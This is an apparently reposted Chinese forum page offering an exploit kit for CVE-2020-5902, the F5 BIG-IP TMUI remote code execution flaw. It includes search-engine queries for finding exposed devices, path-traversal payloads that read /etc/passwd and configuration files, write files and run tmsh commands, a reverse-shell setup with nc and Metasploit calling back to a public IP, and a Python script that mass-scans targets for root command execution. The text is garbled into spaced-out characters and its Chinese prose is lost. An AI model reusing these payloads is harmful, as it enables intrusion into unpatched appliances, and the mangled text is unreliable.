[147] 2020-07-13_CVE-2020-5902利用exp

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2020-07-13_CVE-2020-5902利用exp C V E - 2 0 2 0 - 5 9 0 2 e x p   T a o i n g   A d m i n   T e a m   2 0 2 0 - 0 7 - 1 3 C V E - 2 0 2 0 - 5 9 0 2                         1                 F 5   B I G - I P     F 5     2 0 2 0 7 1 F 5   T M U I   R C E C V E - 2 0 2 0 - 5 9 0 2               2                     F 5   B I G - I P   <   1 5 . 1 . 0 . 4                     F 5   B I G - I P   <   1 4 . 1 . 2 . 6                     F 5   B I G - I P   <   1 3 . 1 . 3 . 4                     F 5   B I G - I P   <   1 2 . 1 . 5 . 2                     F 5   B I G - I P   <   1 1 . 6 . 5 . 2           3               s h o d a n h t t p . f a v i c o n . h a s h : 3 3 5 2 4 2 5 3 9 h t t p . t i t l e : " B I G I P ®   ;   R e d i r e c t "                       f o f a t i t l e = " B I G I P ®   ;   R e d i r e c t "                       c e n s y s 4 4 3 . h t t p s . g e t . b o d y _ s h a 2 5 6 : 5 d 7 8 e b 6 f a 9 3 b 9 9 5 f 9 a 3 9 f 9 0 b 6 f b 3 2 f 0 1 6 e 8 0 d b c d a 8 e b 7 1 a   1 7 9 9 4 6 7 8 6 9 2 5 8 5 e e 5 4 4 3 . h t t p s . g e t . t i t l e : " B I G I P ®   ;   R e d i r e c t "
                        g o o g l e i n u r l : " t m u i / l o g i n . j s p " i n t i t l e : " B I G I P   i n u r l : t m u i "                     s h o d a n a p i   k e y   h t t p s : / / g i t h u b . c o m / a q h m a l / C V E - 2 0 2 0 - 5 9 0 2 - S c a n n e r p y t h o n 3   s c a n n e r . p y                                 4   P O C G E T   / t m u i / l o g i n . j s p / . . ; / t m u i / s y s t e m / u s e r / a u t h p r o p e r t i e s . j s p   G E T   / t m u i / l o g i n . j s p / . . ; / t m u i / u t i l / g e t T a b S e t . j s p t a b I d = A n y M s g H e r e W i l l B e R e f   l e c t e d I n T h e R e s p o n s e R C E :     l i s t   T m s h   h t t p s : / / c l o u d d o c s . f 5 . c o m / a p i / t m s h / O t h e r . h t m l c u r l   v   k   ' h t t p s : / / [ F 5   H o s t ] / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / t   m s h C m d . j s p ? c o m m a n d = l i s t + a u t h + u s e r + a d m i n '   c u r l   v   k ' h t t p s : / / [ F 5 H o s t ] / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / t   m s h C m d . j s p ? c o m m a n d = l i s t + a u t h + u s e r   R e a d   F i l e :     c u r l   v   k   ' h t t p s : / / [ F 5   H o s t ] / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / f   i l e R e a d . j s p ?
f i l e N a m e = / e t c / p a s s w d '   f i l e R e a d . j s p ? f i l e N a m e = / e t c / h o s t s   f i l e R e a d . j s p ? f i l e N a m e = / c o n f i g / b i g i p . l i c e n s e f i l e R e a d . j s p ? f i l e N a m e = / c o n f i g / b i g i p . c o n f f i l e R e a d . j s p ? f i l e N a m e = / u s r / l o c a l / w w w / t m u i / W E B I N F / c l a s s e s / o r g / a p a c h e / j s p / t m u i / s y s t e m / u s e r / a u t h p r o p e r t i e s _ j s p . c l a s s L i s t   F i l e / t m u i / l o c a l l b / w o r k s p a c e / d i r e c t o r y L i s t . j s p E x a m p l e : d i r e c t o r y P a t h = / u s r / l o c a l / w w w / E x a m p l e :   / t m u i / l o c a l l b / w o r k s p a c e / f i l e S a v e . j s p P O S T :   f i l e N a m e = / t m p / 1 . t x t & c o n t e n t = C V E 2 0 2 0 5 9 0 2 P O S T   / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / f i l e S a v e . j s p   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0   0 1 0 1   F i r e f o x / 5 5 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t L a n g u a g e :   z h C N , z h ; q = 0 . 8 , e n U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e U p g r a d e I n s e c u r e R e q u e s t s :   1 C o n t e n t T y p e :   a p p l i c a t i o n / x w w w f o r m u r l e n c o d e d C o n t e n t L e n g t h :   4 1 f i l e N a m e = / t m p / 1 . t x t & c o n t e n t = C V E 2 0 2 0 5 9 0 2 H T T P / 1 . 1   2 0 0   O K D a t e :   M o n ,   0 6   J u l   2 0 2 0   0 2 : 0 5 : 2 9   G M T X F r a m e O p t i o n s :   S A M E O R I G I N S t r i c t T r a n s p o r t S e c u r i t y :   m a x a g e = 1 6 0 7 0 4 0 0 ;   i n c l u d e S u b D o m a i n s S e t C o o k i e :   J S E S S I O N I D = x ;   P a t h = / t m u i ;   S e c u r e ;   H t t p O n l y C o n t e n t T y p e :   t e x t / h t m l ; c h a r s e t = I S O 8 8 5 9 1 X C o n t e n t T y p e O p t i o n s :   n o s n i f f X X S S P r o t e c t i o n :   1 ;   m o d e = b l o c k C o n t e n t S e c u r i t y P o l i c y :   d e f a u l t s r c   ' s e l f '   ' u n s a f e i n l i n e '   ' u n s a f e e v a   l '   d a t a :   b l o b : ;   i m g s r c   ' s e l f '   d a t a :   h t t p : / / 1 2 7 . 4 . 1 . 1   h t t p : / / 1 2 7 . 4 . 2 . 1 V a r y :   A c c e p t E n c o d i n g C o n t e n t L e n g t h :   4
C o n n e c t i o n :   c l o s e                 5 G e t s h e l l p y t h o n M S F e x p h t t p s : / / g i t h u b . c o m / j a s 5 0 2 n / C V E - 2 0 2 0 - 5 9 0 2 p y t h o n 2   C V E 2 0 2 0 5 9 0 2 . p y s h e l l n c   1 2 9 . 2 0 4 . 1 1 3 . 2 0 2   5 5 4 6         n c   l v v p   5 5 4 6
m s f w g e t   P   / u s r / s h a r e / m e t a s p l o i t f r a m e w o r k / m o d u l e s / e x p l o i t s / l i n u x / h t t p / h t t p   s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t f r a m e w o r k / b l o b / 0 4 1 7 e 8 8 f f 2 4 b f 0 5 b 8 8 7 4 c 9 5 3 b d 9   1 6 0 0 f 1 0 1 8 6 b a 4 / m o d u l e s / e x p l o i t s / l i n u x / h t t p / f 5 _ b i g i p _ t m u i _ r c e . r b m s f c o n s o l e r e l o a d _ a l l s e a r c h   f 5 _ b i g i p u s e   e x p l o i t / l i n u x / h t t p / f 5 _ b i g i p _ t m u i _ r c e s e t   r h o s t   1 . 2 . 3 . 4 s e t   l h o s t   1 2 9 . 2 0 4 . 1 1 3 . 2 0 2 s e t   l p o r t   5 5 6 7 s e t   p a y l o a d   c m d / u n i x / r e v e r s e _ p y t h o n p y t h o n  
t m s h C m d . j s p   +   f i l e S a v e . j s p   =   L i n u x   R C E t m s h C m d . j s p ? c o m m a n d = c r e a t e + c l i + a l i a s + p r i v a t e + l i s t + c o m m a n d + b a s h f i l e S a v e . j s p ? f i l e N a m e = / t m p / c m d & c o n t e n t = i d t m s h C m d . j s p ? c o m m a n d = l i s t + / t m p / c m d t m s h C m d . j s p ? c o m m a n d = d e l e t e + c l i + a l i a s + p r i v a t e + l i s t                 6                 F 5   B I G - I P   h t t p s : / / s u p p o r t . f 5 . c o m / c s p / a r t i c l e / K 5 2 1 4 5 2 5 4                         7 # ! / u s r / b i n / e n v   p y t h o n 3 i m p o r t   r e i m p o r t   s y s f r o m   d a t e t i m e   i m p o r t   d a t e t i m e i m p o r t   r e q u e s t s f r o m   t i m e   i m p o r t   s l e e p
i m p o r t   o p t p a r s e r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( ) d e f   g e t T i m e ( ) :         n o w   =   d a t e t i m e . n o w ( )         r e t u r n   n o w . s t r f t i m e ( ' % H : % M : % S ' ) d e f   s h o w I n f o ( m e s s a g e ) :         p r i n t ( ' [ 0 3 3 [ 1 ; 9 4 m { } 0 3 3 [ 0 ; m ]   [ * ]   { } ' . f o r m a t ( g e t T i m e ( ) ,   m e s s a g e ) )                         d e f   s h o w F a i l ( m e s s a g e ) :                 p r i n t ( ' [ 0 3 3 [ 1 ; 9 4 m { } 0 3 3 [ 0 ; m ]   [ 0 3 3 [ 1 ; 9 1 m 0 3 3 [ 0 ; m ]   0 3 3 [ 1 ; 9 1 m { } 0 3 3 [ 0 ;   m ' . f o r m a t ( g e t T i m e ( ) ,   m e s s a g e ) )                                                 d e   s h o w S u c c e s s ( m e s s a g e ) :                         p r i n t ( ' [ 0 3 3 [ 1 ; 9 4 m { } 0 3 3 [ 0 ; m ]   [ 0 3 3 [ 1 ; 9 2 m + 0 3 3 [ 0 ; m ]   0 3 3 [ 1 ; 9 2 m { } 0 3 3 [ 0 ;   m ' . f o r m a t ( g e t T i m e ( ) ,   m e s s a g e ) )                                                 d e f   e x i t ( m e s s a g e   =   N o n e ) : t r y :         i f   m e s s a g e   i s   n o t   N o n e :                 s h o w F a i l ( m e s s a g e )                 s h o w I n f o ( ' E x i t i n g   s c r i p t ' )                 s y s . e x i t ( )                 e x c e p t   k e y b o a r d I n t e r r u p t :                         p a s s                 d e f   c h e c k ( a d d r e s s )                 t r y :                         u r l 1   =   a d d r e s s +   ' / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / t m s h C m d . j s   p ? c o m m a n d = c r e a t e + c l i + a l i a s + p r i v a t e + l i s t + c o m m a n d + b a s h '                         u r l 2   =   a d d r e s s +   ' / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / f i l e S a v e . j s   p ? f i l e N a m e = / t m p / c m d & c o n t e n t = i d '                         u r l 3   =   a d d r e s s +   ' / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / t m s h C m d . j s   p ? c o m m a n d = l i s t + / t m p / c m d '                         u r l 4   =   a d d r e s s +   ' / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / t m s h C m d . j s   p ? c o m m a n d = d e l e t e + c l i + a l i a s + p r i v a t e + l i s t '                         r e q u e s t s . g e t ( u r l 1 ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                         r e q u e s t s . g e t ( u r l 2 ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                         r   =   r e q u e s t s . g e t ( u r l 3 ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )         i f   ' u i d = 0 ( r o o t ) '   i n   r . t e x t :                 r   =   r e q u e s t s . g e t ( a d d r e s s +   ' / t m u i / l o g i n . j s p ' ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                 h o s t n a m e   =   r e . s e a r c h ( r ' < p s t i t l e = " ( . * ? ) " > ' ,   r . t e x t ) . g r o u p ( 1 ) . s t r i p ( ) . l o w e r ( )                 s h o w S u c c e s s ( ' % s   i s   v u l n e r a b l e ! ' % ( a d d r e s s ) )                 w i t h   o p e n ( ' r e s u l t . t x t ' ,   ' a + ' )   a s   f :                 f . w r i t e ( ' % s n ' % ( a d d r e s s ) )                 f . c l o s e ( )         e l s e :                 s h o w F a i l ( ' % s   i s   n o t   v u l n e r a b l e ' % ( a d d r e s s ) )                         r e q u e s t s . g e t ( u r l 4 ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )         e x c e p t   K e y b o a r d I n t e r r u p t :         e x c e p t   K e y b o a r d I n t e r r u p t :         e x c e p t   E x c e p t i o n   a s   e :         s h o w F a i l ( " % s   i s   n o t   v u l n e r a b l e " % ( a d d r e s s ) )         d e f   m a i n ( ) :                 t r y :                         c o m m a n d L i s t   =   o p t p a r s e . O p t i o n P a r s e r ( ' u s a g e :   % p r o g   u   U R L   [ f   u r l s . t x t ] ' )                         c o m m a n d L i s t . a d d _ o p t i o n ( ' u ' ,   ' u r l ' ,   a c t i o n = " s t o r e " , h e l p = " I n s e r t   T A R G E T   U R L :   h t t p [ s ] : / / w w w . v i c t i m . c o m [ : P O R T ] " , )                         c o m m a n d L i s t . a d d _ o p t i o n ( ' f ' , ' i n f i l e ' , a c t i o n = ' s t o r e ' , h e l p = ' I n s e r t   U R L   f i l e n a m e ' )                 i f   n o t   o p t i o n s . u r l   a n d   n o t   o p t i o n s . i n f i l e :                         c o m m a n d L i s t . p r i n t _ h e l p ( )
                        s y s . e x i t ( 1 )                 i f   o p t i o n s . u r l :                         u r l s   =   [ o p t i o n s . u r l ]                         c h e c k ( u r l s [ 0 ] )                 i f   o p t i o n s . i n f i l e :                         f   =   o p e n ( o p t i o n s . i n f i l e ,   " r " ) f o r   l i n e   i n   f . r e a d l i n e s ( ) :         c h e c k ( l i n e . s t r i p ( ) )         f . c l o s e ( )         e x c e p t   E x c e p t i o n   a s   e :         e x i t ( e )                 i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :                         t r y : m a i n ( )                         e x c e p t   K e y b o a r d I n t e r r u p t :                                 e x i t ( ' U s e r     a b o r t e d ! ' )                         8 h t t p s : / / s u p p o r t . f 5 . c o m / c s p / a r t i c l e / K 5 2 1 4 5 2 5 4 h t t p : / / e l e m e n t - u i . c n / n e w s / s h o w - 7 1 8 7 5 7 . a s p x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则